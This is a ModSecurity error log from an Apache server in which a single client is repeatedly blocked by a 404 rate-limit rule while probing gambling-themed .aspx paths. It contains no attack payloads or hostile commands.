[Mon Mar 30 18:15:04.712181 2026] [:error] [pid 35250:tid 35315] [client 51.83.237.175:49518] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "acpNKIaKM1MR6zcp2YNNcQAAAMQ"]
[Mon Mar 30 18:15:25.425515 2026] [:error] [pid 11947:tid 11955] [client 51.83.237.175:49530] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "acpNPTSVtzzXIgk-FgklsAAAAgY"]
[Mon Mar 30 18:15:25.527926 2026] [:error] [pid 11947:tid 11960] [client 51.83.237.175:49546] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acpNPTSVtzzXIgk-FgklsQAAAgs"]
[Mon Mar 30 18:15:27.568695 2026] [:error] [pid 64743:tid 64768] [client 51.83.237.175:57334] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acpNPyzmpVL6Ubzil4iYIwAAAVc"]
[Mon Mar 30 18:15:27.577919 2026] [:error] [pid 50663:tid 50671] [client 51.83.237.175:57340] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "acpNP228b9DKIAMEdfALQgAAAYY"]
[Mon Mar 30 18:15:29.971808 2026] [:error] [pid 50663:tid 50672] [client 51.83.237.175:57346] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acpNQW28b9DKIAMEdfALUQAAAYc"]
[Mon Mar 30 18:15:30.362195 2026] [:error] [pid 41941:tid 41952] [client 51.83.237.175:57362] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "acpNQiB2g7BNCXGBOJNePwAAAQk"]
[Mon Mar 30 18:15:32.051663 2026] [:error] [pid 64743:tid 64762] [client 51.83.237.175:57374] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acpNRCzmpVL6Ubzil4iYJAAAAVE"]
[Mon Mar 30 18:15:32.545977 2026] [:error] [pid 11947:tid 11954] [client 51.83.237.175:57376] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "acpNRDSVtzzXIgk-FgkltgAAAgU"]
[Mon Mar 30 18:15:34.176960 2026] [:error] [pid 41941:tid 41957] [client 51.83.237.175:57392] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acpNRiB2g7BNCXGBOJNeQgAAAQ4"]
[Mon Mar 30 18:15:34.519837 2026] [:error] [pid 35248:tid 35265] [client 51.83.237.175:57394] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acpNRr3igMCgAQPFS_91GQAAAEs"]
[Mon Mar 30 18:15:36.141684 2026] [:error] [pid 35343:tid 35358] [client 51.83.237.175:57402] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acpNSKP5HurqmbvwN-IY9QAAAA0"]
[Mon Mar 30 18:15:36.561439 2026] [:error] [pid 11947:tid 11971] [client 51.83.237.175:57410] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acpNSDSVtzzXIgk-FgkluwAAAhY"]
[Mon Mar 30 18:15:38.109180 2026] [:error] [pid 11947:tid 11970] [client 51.83.237.175:40808] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acpNSjSVtzzXIgk-FgklvQAAAhU"]
[Mon Mar 30 18:15:39.030481 2026] [:error] [pid 35250:tid 35334] [client 51.83.237.175:40810] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acpNS4aKM1MR6zcp2YNNjQAAANc"]
[Mon Mar 30 18:15:40.252783 2026] [:error] [pid 64743:tid 64759] [client 51.83.237.175:40822] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "acpNTCzmpVL6Ubzil4iYJQAAAU4"]
[Mon Mar 30 18:15:41.091884 2026] [:error] [pid 11947:tid 11952] [client 51.83.237.175:40824] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acpNTTSVtzzXIgk-FgklwAAAAgM"]
[Mon Mar 30 18:15:42.440986 2026] [:error] [pid 41941:tid 41965] [client 51.83.237.175:40832] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "acpNTiB2g7BNCXGBOJNeRgAAARY"]
[Mon Mar 30 18:15:43.122765 2026] [:error] [pid 11947:tid 11966] [client 51.83.237.175:40846] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acpNTzSVtzzXIgk-FgklyQAAAhE"]
[Mon Mar 30 18:15:44.487040 2026] [:error] [pid 35250:tid 35312] [client 51.83.237.175:40860] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "acpNUIaKM1MR6zcp2YNNlwAAAME"]
[Mon Mar 30 18:15:45.181396 2026] [:error] [pid 35248:tid 35264] [client 51.83.237.175:40872] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acpNUb3igMCgAQPFS_91OQAAAEo"]
[Mon Mar 30 18:15:46.521265 2026] [:error] [pid 12046:tid 12050] [client 51.83.237.175:40884] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "acpNUpDbtlkoJ6ELn7gQ4wAAAkE"]
[Mon Mar 30 18:15:47.334857 2026] [:error] [pid 35249:tid 35302] [client 51.83.237.175:50070] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acpNUyqCKiTq85d6rgBMuwAAAJI"]
[Mon Mar 30 18:15:48.758902 2026] [:error] [pid 11947:tid 11958] [client 51.83.237.175:50086] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acpNVDSVtzzXIgk-FgklzAAAAgk"]
[Mon Mar 30 18:15:49.665964 2026] [:error] [pid 11947:tid 11960] [client 51.83.237.175:50088] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "acpNVTSVtzzXIgk-Fgkl0AAAAgs"]
[Mon Mar 30 18:15:50.935142 2026] [:error] [pid 11947:tid 11961] [client 51.83.237.175:50104] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acpNVjSVtzzXIgk-Fgkl2gAAAgw"]
[Mon Mar 30 18:15:51.826786 2026] [:error] [pid 11947:tid 11969] [client 51.83.237.175:50116] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "acpNVzSVtzzXIgk-Fgkl3gAAAhQ"]
[Mon Mar 30 18:15:53.085160 2026] [:error] [pid 11947:tid 11956] [client 51.83.237.175:50132] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acpNWTSVtzzXIgk-Fgkl5QAAAgc"]
[Mon Mar 30 18:15:53.898075 2026] [:error] [pid 50663:tid 50678] [client 51.83.237.175:50142] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "acpNWW28b9DKIAMEdfALZgAAAY0"]
[Mon Mar 30 18:15:55.312050 2026] [:error] [pid 35248:tid 35277] [client 51.83.237.175:50144] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acpNW73igMCgAQPFS_91RgAAAFc"]
[Mon Mar 30 18:15:55.954958 2026] [:error] [pid 35248:tid 35257] [client 51.83.237.175:50150] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "acpNW73igMCgAQPFS_91SgAAAEM"]
[Mon Mar 30 18:15:57.370061 2026] [:error] [pid 35250:tid 35329] [client 51.83.237.175:36818] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acpNXYaKM1MR6zcp2YNNpwAAANI"]
[Mon Mar 30 18:15:58.358833 2026] [:error] [pid 50663:tid 50689] [client 51.83.237.175:36828] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acpNXm28b9DKIAMEdfALawAAAZg"]
[Mon Mar 30 18:15:59.206173 2026] [:error] [pid 41941:tid 41943] [client 51.83.237.175:36844] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acpNXyB2g7BNCXGBOJNeTQAAAQA"]
[Mon Mar 30 18:16:00.391989 2026] [:error] [pid 35248:tid 35275] [client 51.83.237.175:36848] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acpNYL3igMCgAQPFS_91TQAAAFU"]
[Mon Mar 30 18:16:01.111925 2026] [:error] [pid 12106:tid 12122] [client 51.83.237.175:36858] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acpNYbIKxOs8TAdw7hcJ3gAAAo4"]
[Mon Mar 30 18:16:02.572140 2026] [:error] [pid 35248:tid 35268] [client 51.83.237.175:36872] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acpNYr3igMCgAQPFS_91UQAAAE4"]
[Mon Mar 30 18:16:03.276266 2026] [:error] [pid 41941:tid 41956] [client 51.83.237.175:36884] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acpNYyB2g7BNCXGBOJNeUAAAAQ0"]
[Mon Mar 30 18:16:04.504600 2026] [:error] [pid 64743:tid 64761] [client 51.83.237.175:36886] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acpNZCzmpVL6Ubzil4iYKgAAAVA"]
[Mon Mar 30 18:16:05.377080 2026] [:error] [pid 35249:tid 35299] [client 51.83.237.175:36898] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "acpNZSqCKiTq85d6rgBMwQAAAI8"]
[Mon Mar 30 18:16:06.550002 2026] [:error] [pid 35250:tid 35333] [client 51.83.237.175:36908] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acpNZoaKM1MR6zcp2YNNsAAAANY"]
[Mon Mar 30 18:16:07.414840 2026] [:error] [pid 35248:tid 35257] [client 51.83.237.175:36236] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "acpNZ73igMCgAQPFS_91XgAAAEM"]
[Mon Mar 30 18:16:08.611325 2026] [:error] [pid 41941:tid 41959] [client 51.83.237.175:36248] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acpNaCB2g7BNCXGBOJNeWgAAARA"]
[Mon Mar 30 18:16:09.357369 2026] [:error] [pid 35248:tid 35275] [client 51.83.237.175:36264] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "acpNab3igMCgAQPFS_91ZAAAAFU"]
[Mon Mar 30 18:16:10.784231 2026] [:error] [pid 35249:tid 35301] [client 51.83.237.175:36272] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acpNaiqCKiTq85d6rgBMwgAAAJE"]
[Mon Mar 30 18:16:11.328851 2026] [:error] [pid 64743:tid 64764] [client 51.83.237.175:36274] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "acpNayzmpVL6Ubzil4iYLAAAAVM"]
[Mon Mar 30 18:16:12.923305 2026] [:error] [pid 35249:tid 35284] [client 51.83.237.175:36286] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acpNbCqCKiTq85d6rgBMxQAAAIA"]
[Mon Mar 30 18:16:14.892034 2026] [:error] [pid 12106:tid 12121] [client 51.83.237.175:36288] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "acpNbrIKxOs8TAdw7hcJ4wAAAo0"]
[Mon Mar 30 18:16:16.875178 2026] [:error] [pid 35250:tid 35335] [client 51.83.237.175:38814] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "acpNcIaKM1MR6zcp2YNNtwAAANg"]
[Mon Mar 30 18:16:19.370997 2026] [:error] [pid 35248:tid 35255] [client 51.83.237.175:38828] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "acpNc73igMCgAQPFS_91cwAAAEE"]
[Mon Mar 30 18:16:21.389521 2026] [:error] [pid 11947:tid 11953] [client 51.83.237.175:38840] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "acpNdTSVtzzXIgk-FgkmBAAAAgQ"]
[Mon Mar 30 18:16:57.423860 2026] [:error] [pid 12106:tid 12111] [client 51.83.237.175:38852] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "acpNmbIKxOs8TAdw7hcJ-AAAAoM"]
[Mon Mar 30 18:16:59.375380 2026] [:error] [pid 50663:tid 50679] [client 51.83.237.175:59402] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "acpNm228b9DKIAMEdfAL0wAAAY4"]
[Mon Mar 30 18:17:01.424899 2026] [:error] [pid 11947:tid 11959] [client 51.83.237.175:59412] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "acpNnTSVtzzXIgk-FgkmZwAAAgo"]
[Mon Mar 30 18:17:03.483181 2026] [:error] [pid 11947:tid 11950] [client 51.83.237.175:59416] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acpNnzSVtzzXIgk-FgkmdAAAAgE"]
